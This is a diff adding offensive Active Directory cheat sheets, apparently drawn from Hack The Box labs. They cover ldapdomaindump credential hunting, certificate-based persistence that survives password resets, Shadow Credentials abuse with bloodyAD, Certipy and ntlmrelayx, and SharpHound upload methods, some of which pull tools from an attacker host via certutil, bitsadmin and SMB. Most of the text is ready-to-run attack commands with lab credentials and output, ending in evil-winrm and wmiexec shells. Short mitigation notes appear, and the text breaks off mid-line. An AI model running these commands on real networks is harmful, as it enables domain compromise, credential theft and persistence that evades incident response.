+ +### Resolve All Objects (Slower but More Complete) + +```bash +# Resolve all LDAP object references to names +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output \ + -r +``` + +**What `-r` does:** Resolves SIDs and DNs to readable names, but takes longer to complete. + +### Use LDAPS (SSL/TLS) + +```bash +# Connect via LDAPS on port 636 +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output \ + -l ldaps://support.htb:636 +``` + +### No HTML Output (JSON Only) + +```bash +# Generate only JSON files (faster, no HTML rendering) +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output \ + --no-html +``` + +### No JSON Output (HTML Only) + +```bash +# Generate only HTML files +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output \ + --no-json +``` + +*** + +## Complete Enumeration Workflow + +### Step 1: Run ldapdomaindump + +```bash +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output +``` + +**Expected Output:** +``` +[*] Connecting to host... +[*] Binding to host +[+] Bind OK +[*] Starting domain dump +[+] Domain dump finished +``` + +### Step 2: Check User Info Fields for Passwords + +```bash +# Quick check for passwords in info fields +grep -i "info" ldap_output/domain_users.json | grep -v '""' + +# More detailed search +jq '.[] | select(.info != "") | {name: .name, info: .info, memberOf: .memberOf}' ldap_output/domain_users.json +``` + +### Step 3: Identify Privileged Users + +```bash +# Users in Remote Management Users group +jq '.[] | select(.memberOf[]? | contains("Remote Management Users")) | .name' ldap_output/domain_users.json + +# Users with adminCount=1 +grep -B 5 '"adminCount": 1' ldap_output/domain_users.json +``` + +### Step 4: View HTML Reports + +```bash +# Start web server to view all reports +cd ldap_output +python3 -m http.server 8000 +``` + +Then open your browser to: +- http://localhost:8000/domain_users.html +- http://localhost:8000/domain_groups.html +- http://localhost:8000/domain_computers.html + +*** + +## Parsing JSON Output with jq + +```bash +# Pretty print entire user list +jq '.' ldap_output/domain_users.json + +# Get all usernames +jq '.[].name' ldap_output/domain_users.json + +# Users with non-empty info fields +jq '.[] | select(.info != "") | {name: .name, info: .info}' ldap_output/domain_users.json + +# Users with "admin" in their name +jq '.[] | select(.name | contains("admin"))' ldap_output/domain_users.json + +# Get Domain Admins members +jq '.[] | select(.name == "Domain Admins") | .members' ldap_output/domain_groups.json + +# Count total users +jq '. | length' ldap_output/domain_users.json + +# Export usernames to file +jq -r '.[].name' ldap_output/domain_users.json > usernames.txt +``` + +*** + +## Common Use Cases + +### Finding Credentials (HTB Support Scenario) + +```bash +# 1. Run ldapdomaindump +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# 2. Search for passwords in info field +grep "info" ldap_output/domain_users.json | grep -v '""' + +# 3. You'll find: +# "info": "Ironside47pleasure40Watchful" + +# 4. Test the credentials +crackmapexec smb support.htb -u support -p 'Ironside47pleasure40Watchful' +``` + +### Building a Target List + +```bash +# Extract all usernames +jq -r '.[].name' ldap_output/domain_users.json > users.txt + +# Extract all computer names +jq -r '.[].name' ldap_output/domain_computers.json > computers.txt + +# Extract users with descriptions (might contain passwords) +jq '.[] | select(.description != "") | {name: .name, description: .description}' ldap_output/domain_users.json +``` + +### Identifying High-Value Targets + +```bash +# Domain Admins +jq '.[] | select(.name == "Domain Admins")' ldap_output/domain_groups.json + +# Enterprise Admins +jq '.[] | select(.name == "Enterprise Admins")' ldap_output/domain_groups.json + +# Users with SPNs (Kerberoastable) +jq '.[] | select(.servicePrincipalName != null) | {name: .name, spn: .servicePrincipalName}' ldap_output/domain_users.json +``` + +*** + +## Troubleshooting + +### Error: "Could not connect to host" + +```bash +# Check if LDAP port is open +nmap -p 389,636,3268,3269 support.htb + +# Try with IP instead of hostname +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + 10.10.11.174 \ + -o ldap_output + +# Try LDAPS +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output \ + -l ldaps://support.htb +``` + +### Error: "Bind failed" + +```bash +# Check username format +# Try different formats: + +# Format 1: DOMAIN\user +ldapdomaindump -u support.htb\\ldap -p 'password' support.htb -o ldap_output + +# Format 2: user@domain +ldapdomaindump -u ldap@support.htb -p 'password' support.htb -o ldap_output + +# Verify credentials with crackmapexec +crackmapexec ldap support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' +``` + +### Password with Special Characters + +```bash +# Always use single quotes to protect special characters +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# Alternatively, escape special characters +ldapdomaindump -u support.htb\\\\ldap \ + -p nvEfEK16\^1aM4\$e7AclUf8x\$tRWxPWO1%lmz \ + support.htb \ + -o ldap_output +``` + +*** + +## Converting to BloodHound Format + +ldapdomaindump output can be converted to BloodHound-compatible JSON: + +```bash +# Clone the converter tool +git clone https://github.com/blurbdust/ldd2bh.git +cd ldd2bh + +# Convert ldapdomaindump output +python3 ldd2bh.py -d /path/to/ldap_output + +# Import the generated JSON files into BloodHound +``` + +*** + +## Comparison with Other Tools + +| Tool | Speed | Output Format | Use Case | +|------|-------|---------------|----------| +| **ldapdomaindump** | Medium | HTML + JSON | Quick human-readable enumeration | +| **BloodHound** | Slow | Neo4j Graph | Complex attack path analysis | +| **ldapsearch** | Fast | LDIF/Text | Specific targeted queries | +| **crackmapexec** | Fast | Terminal | Quick validation and spraying | +| **windapsearch** | Medium | Text | Python-based enumeration | + +**When to use ldapdomaindump:** +- You want quick, comprehensive enumeration +- You prefer browsing HTML tables +- You need JSON for scripting +- You don't need complex graph analysis +- You're on a slow connection (BloodHound can be heavy) + +*** + +## Complete Command Reference Table + +| Flag | Long Form | Description | Example | +|------|-----------|-------------|---------| +| `-u` | `--user` | Username for authentication (DOMAIN\user or user@domain) | `-u support.htb\\ldap` | +| `-p` | `--password` | Password (use single quotes for special chars) | `-p 'password123'` | +| `-o` | `--outdir` | Output directory for results | `-o ldap_output` | +| `-l` | `--ldapurl` | Custom LDAP URL | `-l ldaps://dc.support.htb:636` | +| `-r` | `--resolve` | Resolve all LDAP references (slower but more complete) | `-r` | +| `-m` | `--minimal` | Minimal output, only essential attributes | `-m` | +| `-n` | `--dns-server` | Custom DNS server IP | `-n 10.10.11.174` | +| `-d` | `--debug` | Enable debug output | `-d` | +| `--no-html` | N/A | Don't generate HTML files (JSON only) | `--no-html` | +| `--no-json` | N/A | Don't generate JSON files (HTML only) | `--no-json` | +| `--no-grep` | N/A | Don't generate grep-able output | `--no-grep` | + +*** + +## Quick Reference Commands + +```bash +# Standard enumeration +ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap_output + +# With resolution (slower, more detail) +ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap_output -r + +# Via IP address +ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -o ldap_output + +# JSON only (faster) +ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap_output --no-html + +# LDAPS connection +ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap_output -l ldaps://support.htb:636 + +# Hunt for passwords +grep -i "info\|description" ldap_output/domain_users.json | grep -v '""' + +# View in browser +cd ldap_output && python3 -m http.server 8000 +``` + +*** + +## Pro Tips for HTB Support + +1. **The info field contains the password** - Always check `domain_users.json` for the `info` attribute +2. **Check group memberships** - Look for "Remote Management Users" to find WinRM-enabled accounts +3. **JSON is greppable** - Use `grep`, `jq`, or `cat` to search the JSON files +4. **HTML is browsable** - Open the HTML files in a browser for easier reading +5. **Compare with BloodHound** - Run both tools for comprehensive coverage +6. **Save your output** - Keep the output directory for reference throughout the engagement +7. **No creds needed first** - Always run anonymous ldapsearch for namingContexts before ldapdomaindump + +## Complete HTB Support Attack Flow + +```bash +# Step 1: Discover base DN (no auth) +ldapsearch -x -H ldap://support.htb -b "" -s base namingContexts + +# Step 2: Run ldapdomaindump with initial creds +ldapdomaindump -u support.htb\\ldap \ + -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ + support.htb \ + -o ldap_output + +# Step 3: Find password in info field +grep "info" ldap_output/domain_users.json | grep -v '""' +# Result: "info": "Ironside47pleasure40Watchful" + +# Step 4: Verify new credentials +crackmapexec winrm support.htb -u support -p 'Ironside47pleasure40Watchful' + +# Step 5: Get shell +evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful' +``` diff --git a/src/content/sheets/active-directory/persist1-active-user-credential-theft-via-certificates.md b/src/content/sheets/active-directory/persist1-active-user-credential-theft-via-certificates.md @@ -0,0 +1,92 @@ +--- +title: "PERSIST1 — Active User Credential Theft via Certificates" +description: "The core persistence property of certificates: a certificate is valid until it expires or is revoked, independent of the account's password. If you enrol…" +category: active-directory +tags: ["active-directory", "adcs", "persistence", "hashing"] +tools: ["Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST1 — Active User Credential Theft via Certificates.md" +--- +# PERSIST1 — Active User Credential Theft via Certificates + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Account Persistence | +| **Difficulty** | Low | +| **Pre-requisites** | Control of (or enrolment rights as) the target user; an enabled auth template | +| **Tools** | Certipy, Certify | +| **OPSEC Noise** | Low — one normal certificate request | +| **One-liner** | Enrol a legitimate authentication certificate for a user you currently control, then keep it — it authenticates that user for the cert's whole lifetime, surviving password resets. | + +*** + +## What Is PERSIST1? + +The core persistence property of certificates: **a certificate is valid until it expires or is revoked, independent of the account's password.** If you enrol (or steal, per THEFT1 — Exporting Certificates and Keys) a cert for a user while you control them, you retain the ability to authenticate as that user even after IR resets their password. Default user templates commonly issue certs valid for **1–2 years**. + +*** + +## Step 1 — Request a Long-Life Cert as the Target + +```bash +# You currently control 'jdoe' (creds or hash). Enrol a standard auth cert. +certipy-ad req \ + -u 'jdoe@domain.htb' -p 'CurrentPassw0rd!' \ + -dc-ip $TARGET -ca 'DOMAIN-CA' -template 'User' +# -> jdoe.pfx (valid ~1-2 years by default) +``` + +```powershell +# Windows equivalent +.\Certify.exe request /ca:DC01\DOMAIN-CA /template:User +``` + +*** + +## Step 2 — Stash the PFX, Authenticate Any Time Later + +```bash +# Weeks/months later — even after jdoe's password changed: +certipy-ad auth -pfx jdoe.pfx -dc-ip $TARGET # PKINIT -> TGT + current NT hash +``` + +> [!tip] Persistence that self-heals your hash +> Because THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) returns the account's *current* NT hash each time you authenticate, this doubles as a way to continuously recover a fresh hash after resets, for as long as the cert is valid. + +*** + +## Step 3 — Maximise Lifetime + +- Prefer templates with the **longest validity** (`certipy find` shows `Validity Period`). +- Chain into PERSIST3 — Account Persistence via Certificate Renewal to renew before expiry and extend indefinitely. +- For high-value targets, enrol multiple certs across different templates/CAs for redundancy. + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| Certificate request | Event 4886/4887 on CA | 🟢 Low | +| Later PKINIT auth | Event 4768 on DC | 🟢 Low | + +> [!note] Why IR misses it +> Standard incident response resets passwords and disables sessions but rarely reviews issued certificates. A parked `.pfx` sails through a password-reset remediation. + +*** + +## Mitigation + +- On compromise, **revoke the account's certificates** (and audit CA-issued certs), not just reset the password. +- Shorten template validity periods; require manager approval for sensitive templates. +- Monitor enrolment spikes and certs issued to accounts that never use smart cards. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · PERSIST3 — Account Persistence via Certificate Renewal · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) +- Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki](https://github.com/ly4k/Certipy/wiki) diff --git a/src/content/sheets/active-directory/persist2-machine-account-persistence-via-certificates.md b/src/content/sheets/active-directory/persist2-machine-account-persistence-via-certificates.md @@ -0,0 +1,89 @@ +--- +title: "PERSIST2 — Machine Account Persistence via Certificates" +description: "Machine accounts rotate their password automatically every ~30 days, which normally limits how long a stolen machine hash stays useful. A certificate…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "credential-access", "persistence"] +tools: ["Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST2 — Machine Account Persistence via Certificates.md" +--- +# PERSIST2 — Machine Account Persistence via Certificates + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Account Persistence (machine) | +| **Difficulty** | Low–Medium | +| **Pre-requisites** | SYSTEM/admin on a host (or control of a machine account) + a machine-enrolment template | +| **Tools** | Certipy, Certify | +| **OPSEC Noise** | Low — a normal machine enrolment | +| **One-liner** | Enrol an authentication certificate for a **computer account** and keep it — it outlives the 30-day machine-password rotation, giving durable access as `HOST$`. | + +*** + +## What Is PERSIST2? + +Machine accounts rotate their password automatically every ~30 days, which normally limits how long a stolen machine hash stays useful. A **certificate** side-steps that: enrol a cert for the computer account and it stays valid for the template's full lifetime (often 1 year), regardless of password rotation. Since computer accounts are frequent RBCD/Kerberoast targets — and a DC's account is a DCSync-capable identity — this is potent persistence. + +*** + +## Step 1 — Enrol a Machine Certificate + +```bash +# As SYSTEM on the host (or with the machine account's hash), request a Machine cert +certipy-ad req \ + -u 'HOST$@domain.htb' -hashes :<MACHINE_NTHASH> \ + -dc-ip $TARGET -ca 'DOMAIN-CA' -template 'Machine' +# -> host.pfx (survives the 30-day rotation) +``` + +```powershell +# From SYSTEM on the box, the machine context can enrol directly +.\Certify.exe request /ca:DC01\DOMAIN-CA /template:Machine /machine +``` + +*** + +## Step 2 — Authenticate as the Machine Later + +```bash +certipy-ad auth -pfx host.pfx -dc-ip $TARGET +# -> HOST$ TGT + machine NT hash (even after password rotation) +``` + +*** + +## Step 3 — Leverage the Machine Identity + +- **RBCD:** if `HOST$` can be configured for delegation, impersonate any user to services on it. +- **DC machine account:** a `DC01$` cert authenticates as the DC → DCSync `krbtgt` → Golden Ticket. +- **Re-loot:** each PKINIT auth returns the machine's *current* NT hash, self-healing after rotation. + +> [!warning] DC machine persistence = domain persistence +> A certificate for a Domain Controller's computer account is effectively domain-level persistence. Consider it alongside DPERSIST1. + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| Machine cert request | Event 4886/4887 on CA | 🟢 Low | +| PKINIT as HOST$ | Event 4768 on DC | 🟢 Low | + +*** + +## Mitigation + +- Revoke machine certificates when a host is reimaged or suspected compromised. +- Constrain which templates permit machine enrolment; audit certs issued to computer accounts. +- Tier DCs; treat DC machine-cert issuance as high severity. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT3 — Machine Certificate Theft via DPAPI · PERSIST1 — Active User Credential Theft via Certificates +- Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki](https://github.com/ly4k/Certipy/wiki) diff --git a/src/content/sheets/active-directory/persist3-account-persistence-via-certificate-renewal.md b/src/content/sheets/active-directory/persist3-account-persistence-via-certificate-renewal.md @@ -0,0 +1,93 @@ +--- +title: "PERSIST3 — Account Persistence via Certificate Renewal" +description: "Templates that allow renewal let a holder present their current certificate and receive a fresh one with a new validity window, authenticated by the…" +category: active-directory +tags: ["active-directory", "adcs", "persistence"] +tools: ["Certipy", "OpenSSL", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST3 — Account Persistence via Certificate Renewal.md" +--- +# PERSIST3 — Account Persistence via Certificate Renewal + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Account Persistence (renewal) | +| **Difficulty** | Low | +| **Pre-requisites** | An existing valid certificate + private key for the account; the template permits renewal | +| **Tools** | Certipy (`req -renew`), certreq | +| **OPSEC Noise** | Low — looks like normal certificate lifecycle | +| **One-liner** | Renew a certificate **before it expires** using only the existing cert/key — no account password needed — extending your access for another full validity period, indefinitely. | + +*** + +## What Is PERSIST3? + +Templates that allow **renewal** let a holder present their current certificate and receive a fresh one with a new validity window, authenticated *by the existing key* rather than by the user's password. An attacker who obtained a cert (via an ESC, THEFT, or PERSIST1) can therefore roll it forward forever, so long as they renew before each expiry. Password resets never break the chain because renewal never uses the password. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#f6c177','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + C1[cert v1<br/>expires in 30d] -->|renew with key| C2[cert v2<br/>fresh 1-2y] + C2 -->|renew again| C3[cert v3 ...] + C3 -->|forever| C1 +``` + +*** + +## Step 1 — Renew Before Expiry + +```bash +# Certipy — renew using the current pfx (no password required) +certipy-ad req -renew \ + -pfx current.pfx \ + -dc-ip $TARGET -ca 'DOMAIN-CA' +# -> renewed.pfx with a fresh validity window +``` + +```powershell +# Windows — certreq renewal of an existing cert by thumbprint +certreq -enroll -user -q -PolicyServer * -cert <THUMBPRINT> Renew +``` + +*** + +## Step 2 — Track & Automate + +```bash +# Check remaining validity of a stashed cert +certipy-ad cert -pfx current.pfx -nokey -out /dev/stdout | grep -i 'Not After' +openssl pkcs12 -in current.pfx -nodes -nokeys | openssl x509 -noout -enddate +``` + +- Set a reminder a week before each expiry and re-run the renewal. +- Keep the private key material offline between renewals to reduce host footprint. + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| Renewal request | Event 4886/4887 on CA (looks routine) | 🟢 Low | +| PKINIT auth with renewed cert | Event 4768 on DC | 🟢 Low | + +> [!note] Blends into normal lifecycle +> Renewals are indistinguishable from legitimate certificate maintenance, which is what makes this quiet persistence. + +*** + +## Mitigation + +- On compromise, **revoke** the certificate and its renewals, and disable renewal on sensitive templates. +- Reduce validity/overlap windows; require re-approval on renewal for high-value templates. +- Correlate renewals against expected owners and enrolment agents. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · PERSIST1 — Active User Credential Theft via Certificates · PERSIST2 — Machine Account Persistence via Certificates +- Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki](https://github.com/ly4k/Certipy/wiki) diff --git a/src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md b/src/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md @@ -0,0 +1,177 @@ +--- +title: "Shadow Credentials — msDS-KeyCredentialLink Abuse" +description: "Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute msDS-KeyCredentialLink. If…" +category: active-directory +tags: ["active-directory", "adcs", "ntlm", "relay", "lateral-movement"] +tools: ["Rubeus", "Certipy", "BloodHound", "faketime"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/Shadow Credentials — msDS-KeyCredentialLink Abuse.md" +--- +# Shadow Credentials — msDS-KeyCredentialLink Abuse + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | ACL-based Escalation / Lateral Movement (Key Trust) | +| **Difficulty** | Low–Medium | +| **Pre-requisites** | `GenericWrite` / `GenericAll` / `WriteProperty` over the target's `msDS-KeyCredentialLink`; a DC that supports PKINIT (KDC cert present — i.e. ADCS in the forest) | +| **Tools** | Certipy (`shadow`), Whisker, pyWhisker, ntlmrelayx, BloodyAD | +| **OPSEC Noise** | Low — one attribute write, normal PKINIT auth | +| **One-liner** | Write a Key Credential (your public key) into a target's `msDS-KeyCredentialLink`, then PKINIT-authenticate as that target with the matching private key — no password reset, no ADCS template needed. | + +*** + +## What Is Shadow Credentials? + +Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute **`msDS-KeyCredentialLink`**. If you have **write** over that attribute on a target user or computer (a common BloodHound ACL edge: `GenericWrite`, `GenericAll`, `AllowedToAct`, or `WriteProperty`), you can append **your own** Key Credential. You then authenticate as the target via **PKINIT** and, with UnPAC-the-hash, recover their NT hash. + +It is the cleanest way to weaponise a write-ACL edge: unlike a password reset it is reversible and quiet, and unlike an ADCS ESC it needs no vulnerable template — only that PKINIT works in the forest. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + ACL[GenericWrite over target] --> W[Write Key Credential<br/>into msDS-KeyCredentialLink] + W --> P[PKINIT with your<br/>private key] + P --> H[TGT + NT hash of target] + W --> R[Restore attribute<br/>clean up] +``` + +*** + +## Step 0 — Confirm the Edge + +```bash +# BloodHound: look for GenericWrite/GenericAll/WriteProperty -> target +# Certipy/Bloodyad can also read the attribute +bloodyAD -u me -p pass -d domain.htb --host $TARGET get object 'targetuser' --attr msDS-KeyCredentialLink +``` + +*** + +## Step 1 (Option A) — bloodyAD only, no Certipy + +> [!tip] bloodyAD does the entire attack in one command +> `add shadowCredentials` writes the Key Credential, performs PKINIT, and prints the target's **NT hash** directly. It also saves a TGT ccache (or a `.pfx` if PKINIT fails) via `--path`. This fully replaces `certipy shadow auto` — you never need Certipy for Shadow Credentials. + +```bash +bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser +``` + +``` +[+] KeyCredential generated with DeviceID ... added to targetuser +[+] NT hash via PKINIT: a9285c625af80519ad784729655ff325 +``` + +```bash +# save the recovered TGT/pfx somewhere specific +bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser --path /tmp/targetuser + +# cleanup — remove the planted Key Credential +bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' remove shadowCredentials targetuser +``` + +> [!warning] DC FQDN + clock skew +> PKINIT is Kerberos, so use the DC **name** (`--host dc01.domain.htb`, not the IP) and wrap with `faketime -f '+Xh'` if the clock is skewed (see faketime-cheatsheet). + +### Worked chain — GenericAll on a group → add self → shadow-cred members (HTB Fluffy) + +```bash +# 1. GenericAll over 'Service Accounts' -> add yourself (grants GenericWrite over members) +bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila + +# 2. Shadow-cred each service account -> NT hash, no Certipy +bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc +bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc +``` + +*** + +## Step 1 (Option B) — Certipy (auto: add, auth, restore) + +```bash +certipy-ad shadow auto \ + -u 'me@domain.htb' -p 'Passw0rd!' \ + -dc-ip $TARGET \ + -account 'targetuser' +``` + +``` +[*] Adding Key Credential to 'targetuser' +[*] Authenticating as 'targetuser' via PKINIT +[*] Got TGT ... +[*] Got hash for 'targetuser@domain.htb': aad3b...:<NTHASH> +[*] Restoring the old Key Credential attribute +``` + +> [!tip] `auto` self-cleans +> `shadow auto` adds the key, authenticates, dumps the hash, then restores the original attribute value so you leave no lingering Key Credential. + +*** + +## Step 2 — Manual (Certipy sub-steps / Whisker) + +```bash +# Certipy granular +certipy-ad shadow add -u me -p pass -account targetuser -dc-ip $TARGET # returns a saved .pfx + device-id +certipy-ad shadow list -u me -p pass -account targetuser -dc-ip $TARGET +certipy-ad shadow remove -u me -p pass -account targetuser -device-id <GUID> -dc-ip $TARGET + +# Windows — Whisker +Whisker.exe add /target:targetuser +# outputs a Rubeus asktgt command with the /certificate blob -> UnPAC the hash +``` + +```bash +# During NTLM relay (relay a coerced auth straight into a Shadow Cred write) +ntlmrelayx.py -t ldap://DC01 --shadow-credentials --shadow-target 'targetuser' +``` + +*** + +## Step 3 — Use It + +```bash +export KRB5CCNAME=targetuser.ccache +wmiexec.py -k -no-pass DC01.domain.htb +# or Pass-the-Hash with the recovered NT hash +``` + +> [!warning] Clock skew +> PKINIT is Kerberos. On `KRB_AP_ERR_SKEW`, wrap Certipy with faketime (see faketime-cheatsheet). + +*** + +## When It Fails + +| Symptom | Cause | +| :-- | :-- | +| `KDC has no support for PADATA type (PKINIT)` | No KDC/enrolment cert in the forest — Key Trust unavailable. Fall back to RBCD or password reset on the edge. | +| Access denied writing attribute | You don't actually have write over `msDS-KeyCredentialLink` (edge misread). | +| Auth works, no hash | UnPAC step needs the U2U; Certipy does it automatically, Rubeus needs `/getcredentials`. | + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| Write `msDS-KeyCredentialLink` | Event 5136 (attribute modify) | 🟡 Medium (if audited) | +| PKINIT auth | Event 4768 with cert info | 🟢 Low | +| Restore attribute | Event 5136 | 🟢 Low | + +*** + +## Mitigation + +- Audit and restrict write access to `msDS-KeyCredentialLink`; remove unnecessary `GenericWrite`/`GenericAll` edges (BloodHound review). +- Enable SACL auditing (5136) on the attribute and alert on writes by non-AAD-Connect principals. +- Where Windows Hello for Business Key Trust is unused, monitor for **any** Key Credential additions. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) · faketime-cheatsheet · bloodhound-ce-python-cheatsheet +- Sources: Elad Shamir *Shadow Credentials*; [Whisker](https://github.com/eladshamir/Whisker); [pyWhisker](https://github.com/ShutdownRepo/pywhisker); [Certipy Wiki](https://github.com/ly4k/Certipy/wiki); [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials) diff --git a/src/content/sheets/active-directory/sharphound.md b/src/content/sheets/active-directory/sharphound.md @@ -0,0 +1,680 @@ +--- +title: "SharpHound_" +description: "⚠️ Note: Make sure your SharpHound version matches your BloodHound version! You can check the compatible version in BloodHound CE's web UI under Settings…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Impacket", "BloodHound", "SharpHound", "Evil-WinRM", "Certify"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/SharpHound_Cheatsheet.md" +--- +# 🩸 SharpHound.exe Cheatsheet + +> **Complete guide to using SharpHound for Active Directory enumeration** + +--- + +## 📋 Table of Contents + +- [Overview](#-overview) +- [Upload Methods](#-upload-methods-to-target) +- [Basic Usage](#-basic-usage) +- [Collection Methods](#-collection-methods) +- [Advanced Options](#-advanced-options) +- [BloodHound Python Equivalent](#-bloodhound-python-equivalent) +- [Download Results](#-download-results) +- [Troubleshooting](#-troubleshooting) + +--- + +## 🎯 Overview + +**SharpHound** is the official data collector for BloodHound written in C#. It enumerates Active Directory environments to map attack paths and privilege escalation opportunities. + +### Key Features +- ✅ Native Windows execution (no dependencies) +- ✅ Multiple collection methods +- ✅ LDAP and API-based enumeration +- ✅ Stealth and performance options +- ✅ Outputs ZIP files for BloodHound ingestion + +### Important Version Information + +**SharpHound Versions:** +- **Latest:** Version 2.8.0 (as of November 2025) +- **Compatibility:** Designed for BloodHound Community Edition (CE) +- **Download:** Always get the latest from [GitHub Releases](https://github.com/SpecterOps/SharpHound/releases) +- **Target Framework:** .NET 4.6.2 + +⚠️ **Note:** Make sure your SharpHound version matches your BloodHound version! You can check the compatible version in BloodHound CE's web UI under Settings → Download Collectors. + +--- + +## 📤 Upload Methods to Target + +### Method 1: SMB Server (impacket-smbserver) + +**On Kali Linux:** +```bash +# Start SMB server in directory containing SharpHound.exe +sudo impacket-smbserver share . -smb2support -username user -password pass + +# Or without authentication (less secure) +sudo impacket-smbserver share . -smb2support +``` + +**On Target Windows:** +```powershell +# With authentication +net use \\10.10.14.5\share /user:user pass +copy \\10.10.14.5\share\SharpHound.exe . + +# Without authentication +copy \\10.10.14.5\share\SharpHound.exe . + +# Alternative: Run directly from SMB share +\\10.10.14.5\share\SharpHound.exe -c All +``` + +--- + +### Method 2: Python Web Server + +**On Kali Linux:** +```bash +# Python 3 (default in Kali) +python3 -m http.server 8000 + +# Python 3 with specific IP binding +python3 -m http.server 8000 --bind 10.10.14.5 +``` + +**On Target Windows:** +```powershell +# PowerShell Download +Invoke-WebRequest -Uri http://10.10.14.5:8000/SharpHound.exe -OutFile SharpHound.exe + +# Short form +iwr -uri http://10.10.14.5:8000/SharpHound.exe -o SharpHound.exe + +# Certutil (alternative method) +certutil -urlcache -f http://10.10.14.5:8000/SharpHound.exe SharpHound.exe + +# BITSAdmin +bitsadmin /transfer mydownload /download /priority high http://10.10.14.5:8000/SharpHound.exe C:\Temp\SharpHound.exe +``` + +--- + +### Method 3: WinRM Upload (evil-winrm) + +**Using evil-winrm:** +```bash +# Connect to target +evil-winrm -i 10.10.11.41 -u judith.mader -p judith09 + +# Once connected, upload SharpHound +upload /path/to/SharpHound.exe +``` + +**Within evil-winrm session:** +```powershell +*Evil-WinRM* PS C:\Users\judith.mader\Documents> upload 